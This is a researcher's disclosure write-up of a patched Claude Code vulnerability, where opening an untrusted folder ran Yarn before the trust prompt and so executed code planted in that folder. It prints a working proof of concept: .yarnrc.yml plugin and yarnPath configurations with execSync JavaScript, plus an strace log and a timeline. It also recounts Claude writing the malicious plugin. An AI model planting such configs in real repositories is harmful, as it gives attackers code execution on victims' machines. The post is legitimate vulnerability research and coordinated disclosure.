TL;DR
Claude Code1 is a coding chatbot developed by Anthropic which can be installed on one's computer to combine the Claude LLM with the local filesystem and shell. In the recent months, Claude Code has been rightfully an object of interest and subject to various independent security research, through which different security flaws have been identified. For instance, just recently SpecterOps showed how it was possible to bypass the various security features, which attempt to prevent command execution, when Claude Code is run on untrusted code.2 This article details a vulnerability in Claude Code my good friend Michael and I discovered in the early days of the application.
In short: this vulnerability allowed attackers, who can trick a victim to start Claude Code prior to version 1.0.39 within an untrusted directory, to gain arbitrary code execution. Exploitation would have required any version of the Yarn package manager to be installed on the target machine. User interaction, such as acceptance of the startup trust dialog, was not necessary. This issue has been patched in version 1.0.39.
The vulnerability is tracked under CVE-2025-59828/GHSA-2jjv-qf24-vfm4 and CVE-2025-65099/GHSA-5hhx-v7f6-x7gv, and has been assigned a CVSS v4.0 score of 7.7 (High).
It should be noted that at the time of writing, the information given in the CVEs and GitHub advisories may not be fully accurate regarding the affected Yarn versions.
This is due to Anthropic publishing two advisories and CVEs for the same flaw.
Based on our tests this attack is successful on all Yarn versions using the yarnPath technique and from version 2.0.0-rc.23 for the plugin technique.
A Proof of Concept (PoC) applicable to Claude Code and Yarn using both the plugin and yarnPath technique is published on GitHub.3
Preface
One Sunday evening I found myself with an over 15-minute-long voice message. It was then, that I really wished I had a tool which could summarize the main points made in the message, so that I would not have to use pen and paper to make notes while listening to it three times over. That was the time when I remembered that Michael mentioned Claude Code a while ago. Back then, Claude Code seemed to be the new and shiny star of the AI revolution which promised to interface both with Claude and files on your system directly and help solve all your problems. So I decided to give it a try. Quickly after installing it, I noticed that I would only be able to use it with a Pro subscription. Soon, I realized that I had just spent 200 USD to try this thing and said to myself "this better be worth it" and signed in to the CLI. After I transcribed the voice message using OpenAI's Whisper, I summarized the text file using Claude Code and answered the message. Then, my curiosity caught up:
- How is this tool implemented and what is being sent from my device?
- What is their threat model and how do they handle shell access?
- What kind of security vulnerabilities could there be?
That's when I figured I wanted to take a closer look.4
Threat Modeling for the Curious
The first thing I thought about was the threat model of this application. What exactly would be the worst-case scenario for such a software? I figured one of the severely problematic scenarios would be, if a web component could be poisoned or compromised, and this would somehow lead to remote code execution on all Claude Code installations. But: I did not want to test anything that was not happening on my own device and thus considered other vectors which happen only locally.
Luckily, Claude Code gives us already a good idea for such a worst-case scenario; right when you type the command claude into your favorite shell and hit enter:

When you see past the slightly mushy language you'll realize that selecting "Yes, proceed" will basically lead to code execution if you run Claude Code on a malicious folder. Therefore, finding a vulnerability after trusting the repository was immediately less interesting to me, since in my opinion that would not be regarded a vulnerability, just an inadequate threat model, missing sandboxing or poor application design, depending on how cynical you are. So what would be the real deal? For me, that was if I'd run Claude Code on some untrusted directory and malicious code is being executed without ever confirming the dialog. And that exactly is the vulnerability that we found.
The Vulnerability
Based on our hypothetical attack vector, it must be concluded that essentially all vulnerable actions are executed before the prompt is even confirmed.
In the past, development tools like Visual Studio Code occasionally made the mistake of executing commands such as npm to gain environmental information.5
Doing so can be an issue since the untrusted data within the folder may contain files which influence the behavior of such command executed by the tooling.
At that point, I did not expect that such a vulnerability would exist since it would be more sensible to run risky commands only after the folder is trusted.
Nevertheless, I decided to verify this anyway.
Under Linux, program executions can be easily traced since all roads to execution will essentially lead to the execve system call.
Using the strace -f -e trace=execve -o out.log claude command we can trace all execve system calls made until the claude program exits.
This revealed the following output when we just typed claude into a terminal (slightly truncated):
21301 execve("/home/[REDACTED]/.local/bin/claude", ["claude"], 0x7ffd696d4a88 /* 49 vars */) = 0
21301 execve("/home/[REDACTED]/.cargo/bin/node", ["node", "--no-warnings", "--enable-source-maps", "/home/[REDACTED]/.local/bin/claude"], 0x7fffecaf2238 /* 49 vars */) = -1 ENOENT (No such file or directory)
21301 execve("/home/[REDACTED]/.local/bin/node", ["node", "--no-warnings", "--enable-source-maps", "/home/[REDACTED]/.local/bin/claude"], 0x7fffecaf2238 /* 49 vars */) = -1 ENOENT (No such file or directory)
21301 execve("/home/[REDACTED]/bin/node", ["node", "--no-warnings", "--enable-source-maps", "/home/[REDACTED]/.local/bin/claude"], 0x7fffecaf2238 /* 49 vars */) = -1 ENOENT (No such file or directory)
21301 execve("/usr/local/bin/node", ["node", "--no-warnings", "--enable-source-maps", "/home/[REDACTED]/.local/bin/claude"], 0x7fffecaf2238 /* 49 vars */) = -1 ENOENT (No such file or directory)
21301 execve("/usr/bin/node", ["node", "--no-warnings", "--enable-source-maps", "/home/[REDACTED]/.local/bin/claude"], 0x7fffecaf2238 /* 49 vars */) = 0
21308 +++ exited with 0 +++
21313 execve("/bin/sh", ["/bin/sh", "-c", "git rev-parse --show-toplevel"], 0x55acf6fbb970 /* 52 vars */) = 0
21313 execve("/usr/bin/git", ["git", "rev-parse", "--show-toplevel"], 0x557bdd7441c0 /* 52 vars */) = 0
21313 +++ exited with 128 +++
21301 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21313, si_uid=1000, si_status=128, si_utime=0, si_stime=0} ---
21314 execve("/home/[REDACTED]/.cargo/bin/npm", ["npm", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21314 execve("/home/[REDACTED]/.local/bin/npm", ["npm", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21314 execve("/home/[REDACTED]/bin/npm", ["npm", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21314 execve("/usr/local/bin/npm", ["npm", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21314 execve("/usr/bin/npm", ["npm", "--version"], 0x55acf6bd7210 /* 52 vars */) = 0
21315 execve("/home/[REDACTED]/.cargo/bin/bun", ["bun", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21315 execve("/home/[REDACTED]/.local/bin/bun", ["bun", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21315 execve("/home/[REDACTED]/bin/bun", ["bun", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21315 execve("/usr/local/bin/bun", ["bun", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21315 execve("/usr/bin/bun", ["bun", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21315 +++ exited with 127 +++
21301 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21315, si_uid=1000, si_status=127, si_utime=0, si_stime=0} ---
21316 execve("/home/[REDACTED]/.cargo/bin/deno", ["deno", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21316 execve("/home/[REDACTED]/.local/bin/deno", ["deno", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21316 execve("/home/[REDACTED]/bin/deno", ["deno", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21316 execve("/usr/local/bin/deno", ["deno", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21316 execve("/usr/bin/deno", ["deno", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21316 +++ exited with 127 +++
21301 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21316, si_uid=1000, si_status=127, si_utime=0, si_stime=0} ---
21317 execve("/home/[REDACTED]/.cargo/bin/node", ["node", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21317 execve("/home/[REDACTED]/.local/bin/node", ["node", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21317 execve("/home/[REDACTED]/bin/node", ["node", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21317 execve("/usr/local/bin/node", ["node", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21317 execve("/usr/bin/node", ["node", "--version"], 0x55acf6bd7210 /* 52 vars */) = 0
21317 +++ exited with 0 +++
21301 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21317, si_uid=1000, si_status=0, si_utime=1 /* 0.01 s */, si_stime=0} ---
21327 +++ exited with 0 +++
[...]
21302 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21314, si_uid=1000, si_status=0, si_utime=17 /* 0.17 s */, si_stime=3 /* 0.03 s */} ---
21328 execve("/home/[REDACTED]/.cargo/bin/yarn", ["yarn", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21328 execve("/home/[REDACTED]/.local/bin/yarn", ["yarn", "--version"], 0x55acf6bd7210 /* 52 vars */) = 0
21328 execve("/home/[REDACTED]/.cargo/bin/node", ["node", "/home/[REDACTED]/.local/bin/yarn", "--version"], 0x7ffe76ccd310 /* 52 vars */) = -1 ENOENT (No such file or directory)
21328 execve("/home/[REDACTED]/.local/bin/node", ["node", "/home/[REDACTED]/.local/bin/yarn", "--version"], 0x7ffe76ccd310 /* 52 vars */) = -1 ENOENT (No such file or directory)
21328 execve("/home/[REDACTED]/bin/node", ["node", "/home/[REDACTED]/.local/bin/yarn", "--version"], 0x7ffe76ccd310 /* 52 vars */) = -1 ENOENT (No such file or directory)
21328 execve("/usr/local/bin/node", ["node", "/home/[REDACTED]/.local/bin/yarn", "--version"], 0x7ffe76ccd310 /* 52 vars */) = -1 ENOENT (No such file or directory)
21328 execve("/usr/bin/node", ["node", "/home/[REDACTED]/.local/bin/yarn", "--version"], 0x7ffe76ccd310 /* 52 vars */) = 0
21338 +++ exited with 0 +++
[...]
21301 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21328, si_uid=1000, si_status=0, si_utime=38 /* 0.38 s */, si_stime=5 /* 0.05 s */} ---
21339 execve("/home/[REDACTED]/.cargo/bin/pnpm", ["pnpm", "--version"], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21339 execve("/home/[REDACTED]/.local/bin/pnpm", ["pnpm", "--version"], 0x55acf6bd7210 /* 52 vars */) = 0
21339 execve("/home/[REDACTED]/.cargo/bin/node", ["node", "/home/[REDACTED]/.local/bin/pnpm", "--version"], 0x7ffecb810630 /* 52 vars */) = -1 ENOENT (No such file or directory)
21339 execve("/home/[REDACTED]/.local/bin/node", ["node", "/home/[REDACTED]/.local/bin/pnpm", "--version"], 0x7ffecb810630 /* 52 vars */) = -1 ENOENT (No such file or directory)
21339 execve("/home/[REDACTED]/bin/node", ["node", "/home/[REDACTED]/.local/bin/pnpm", "--version"], 0x7ffecb810630 /* 52 vars */) = -1 ENOENT (No such file or directory)
21339 execve("/usr/local/bin/node", ["node", "/home/[REDACTED]/.local/bin/pnpm", "--version"], 0x7ffecb810630 /* 52 vars */) = -1 ENOENT (No such file or directory)
21339 execve("/usr/bin/node", ["node", "/home/[REDACTED]/.local/bin/pnpm", "--version"], 0x7ffecb810630 /* 52 vars */) = 0
21350 +++ exited with 0 +++
[...]
21339 --- SIGPIPE {si_signo=SIGPIPE, si_code=SI_USER, si_pid=21339, si_uid=1000} ---
21341 +++ exited with 0 +++
[...]
This showed that multiple tools were being executed by Claude such as git, npm, and yarn.
Specifically, calls like execve("/usr/bin/bun", ["bun", "--version"]) are caused by Claude executing the program, likely to determine if and which version of Bun is installed.
But what if such a command could be influenced by the directory it is being executed in?
Claude, Please Find Me an Exploit
As can be seen, those were a lot of programs being executed by Claude Code, and it would be many calls to go through by hand in order to verify whether they are safe to run. That was when I remembered that I just purchased me a new friend—Claude—which might help me find a vulnerability in himself. So I pasted the relevant calls into Claude and asked "Are any of these commands safe to execute in an untrusted directory?"
What piqued my interest was the following information contained in the chat output:
yarn --version- Generally safe, but yarn can be influenced by.yarnrcfiles and yarn configuration in the directory hierarchy
Now for those who don't know the yarn command:
Yarn is a package manager that doubles down as project manager. Whether you work on simple projects or industry monorepos, whether you're an open source developer or an enterprise user, Yarn has your back.6
While this would require that users would need to have this package manager installed, this seemed promising.
So after a bit of back and forth, Claude was thinking a malicious plugin, defined in .yarnrc within an untrusted folder, might work to trigger code execution.
So I just asked Claude to develop the malicious plugin for me:

After some troubleshooting due to the vibe hacking, I could not believe my eyes.
I had set up my files just like Claude asked me to and ran claude in the directory and saw something similar to this:

As can be seen, just starting claude caused a file proof.txt to be created through command execution, despite that the application was exited and an answer to the trust prompt was never given.
This was due to the fact that a malicious plugin was being loaded and executed by Yarn in the background.
The original exploit technique using plugins consisted of three components, all which Claude generated.
First, a package.json which specifies the Yarn package manager:
{
"name": "testclaude",
"packageManager": "yarn@4.9.1"
}
A .yarnrc.yml configuration file that sets up the Yarn package manager to load a malicious plugin upon any command execution, including --version:
# .yarnrc.yml
# Configuration for Yarn package manager with custom plugin
# Load the local plugin - try this format first
plugins:
- path: "./.yarn/plugins/@local/plugin-command-interceptor.js"
spec: "@local/plugin-command-interceptor"
[...]
And lastly the surely innocuous plugin itself:
// .yarn/plugins/@local/plugin-command-interceptor.js
const { execSync } = require('child_process');
module.exports = {
name: '@local/plugin-command-interceptor',
factory: () => {
execSync('echo "Pwned!" | tee proof.txt', { stdio: 'inherit' });
return { hooks: {} };
}
};
And as a result, when any Yarn command is issued in the directory, such as yarn --version, execSync() is being called.
This is shown in the following output below:
$ yarn --version
Pwned!
4.9.1
And so, despite Claude initially saying that executing yarn --version was "generally safe" (it is not), we could use Claude to develop a malicious plugin which demonstrates the issue.
When I discovered the initial vector, I already texted Michael since he originally suggested Claude Code to me and I wanted to have someone to verify my findings.
It didn't take long before we realized that there was a catch I did not yet consider: when the exact version of Yarn specified in the package.json was not yet installed using Corepack, yarn --version first asked the user to install this version.
This had to be manually confirmed.
# Remove cached versions of Yarn installed using Corepack
$ rm -rf ~/.cache/node/corepack
# Try to run the malicious plugin again
$ yarn --version
! Corepack is about to download https://repo.yarnpkg.com/4.9.1/packages/yarnpkg-cli/bin/yarn.js
? Do you want to continue? [Y/n] Y
Pwned!
4.9.1
Thus, we thought that if the user did not have the correct Yarn version installed that we specified in the package.json, the attack would fail due to this confirmation prompt.
After testing various things we realized that this was actually not an issue in practice.
Interestingly, the behavior of the confirmation was that if yarn --version got invoked through claude itself the confirmation did not pop up and the exploit ran nevertheless.
Sometimes it can be that easy! Or so we thought ...
During the drafting of this article, we noticed that on a cleanly initialized system the exploit was not perfectly reliable when the specific Yarn version was not already installed.
After running numerous experiments, our current hypothesis is that while invoking yarn --version through Claude Code skips the download confirmation prompt, there might be a timeout for the Yarn process execution.
If so, high network latency or slow download speeds could cause the exploit to fail since Corepack would not install Yarn fast enough.
We tested this hypothesis by building a clean Docker image and setting a VPN to a location which would result in significant network latency.
With the VPN enabled the PoC failed rather consistently. As soon as the VPN was disabled, the exploit was almost always successful on the first invocation of claude.
In addition, even on unsuccessful attempts, ~/.cache/corepack was populated.
Yarn Threat Model Assumptions
During the disclosure process with Anthropic, we also contacted the Yarn project, as both we and Anthropic considered this behavior to be a vulnerability in Yarn.
However, after we got in touch with the Yarn steward, it was explained that this behavior of Yarn is intentional and that the Yarn threat model considers any Yarn command (even --help or --version) issued inside an untrusted directory as insecure.
This definitely came as a surprise!
It was also explained that there exists a configuration setting in .yarnrc.yml called yarnPath, which we were unaware of.
The Yarn documentation notes the following:

This meant that this setting alone was sufficient to exploit the vulnerability in Claude Code.
Since the Yarn version does not have to be specified this also does not suffer from any sort of unreliability.
To do so, first a truly minimalistic .yarnrc.yml file is created:
yarnPath: "./script.js"
Next, we only have to write two lines of JavaScript:
const { execSync } = require('child_process');
execSync('echo "Pwned!" | tee proof.txt', { stdio: 'inherit' });
And that's it to support any Yarn version for this vulnerability by using the yarnPath technique!
Learnings
This research was one of the very first times whereby I heavily used a LLM to identify the vulnerability. To me this showed that LLM technology is already at the level where it can greatly speed up the vulnerability identification process. Would it have been possible to identify and exploit this manually? Absolutely! But the fact that vibe hacking was enough to identify a high-severity vulnerability was already a huge surprise to me, especially considering that the initial discovery took less time than a couple of hours.
On the flipside, this also exposed the clear limitations of using LLMs for such research.
Knowledge gaps in the model clearly prevented identifying the yarnPath technique, which we might have identified ourselves if we had gone through the Yarn documentation.
Of course, LLMs also really like to hallucinate and dramatize vulnerabilities where there are none, so it should go without saying that if you do use LLMs to identify vulnerabilities, always verify findings manually and develop an actual PoC.
The threat model applied to Yarn did also really surprise me.
When we looked into this, we found that this is not the only package manager which assumes full trust in the directory it is executed in.
For instance, Sergey "Shnatsel" Davidoff has a great blog post which covers the hidden danger of running any cargo command (the build tool of the Rust language) on an untrusted repository, due to very similar functionalities compared to Yarn.7
Unfortunately, it seems as if the trust assumptions are often not clearly documented so I can only recommend treating all kinds of tooling as a command injection vector if run on untrusted input, unless it is made clear that it would be safe to do so.
Lastly, thanks to Anthropic for patching this vulnerability in a short timeframe and for unexpectedly granting a reward of 3500 USD. Following this, we decided to donate half of it for a good cause. Thus, after all, it was in fact worth it to pay 200 USD for a Claude Pro subscription.
Timeline
- 2025-06-29: Identified vulnerability
- 2025-06-30: Reported vulnerability through Anthropic's VDP on HackerOne
- 2025-07-09: Anthropic set the vulnerability report to resolved, announced a bounty, and recommended reporting our findings to Yarn.
- 2025-07-09: First attempt to contact Yarn steward through Discord
- 2025-07-10: First inquiry whether a CVE will be published by Anthropic
- 2025-07-18: Anthropic informed that they work on publishing a CVE
- 2025-07-24 to 2025-07-26: Initiated a Coordinated Vulnerability Disclosure with Yarn via private email and provided technical details after their initial response. It was explained that this is not considered a vulnerability per the current threat model, but the Yarn steward agreed to submit a PR clarifying this in the official documentation.
- 2025-07-31: After internal discussion, we decided to not continue the disclosure with Yarn due to the threat model and asked for a link to include in this article, which was unfortunately left unanswered.
- 2025-09-24: Anthropic published a CVE and GitHub advisory (this went unnoticed by us and was not communicated through HackerOne)
- 2025-11-14: Second inquiry about the publication of a CVE and information about our plans to publish an article
- 2025-11-14: Anthropic informed that they work on getting the CVE published and asked for a draft article to review
- 2025-11-19: Anthropic published a second CVE and GitHub advisory
- 2025-12-08: Draft article sent to Anthropic for review
- 2025-12-18: After inquiry about the review, Anthropic updated the initially published GitHub advisory with the information from the draft article. We thus noticed that two advisories/CVEs were published.
- 2025-12-19: Publication of this article and informed Anthropic that multiple CVEs/advisories were published
Footnotes
It should be noted, however, that this article only focuses on the latter two questions, although I also took a brief look on what is being sent by Claude. If that is of interest to you, I recommend reading the blog post by SpecterOps for more details.
I slightly changed the PoC to write a file to disk instead of solely relying on output to stdout.
Based on the information on the Yarn plugin tutorial this would be from Yarn version 2.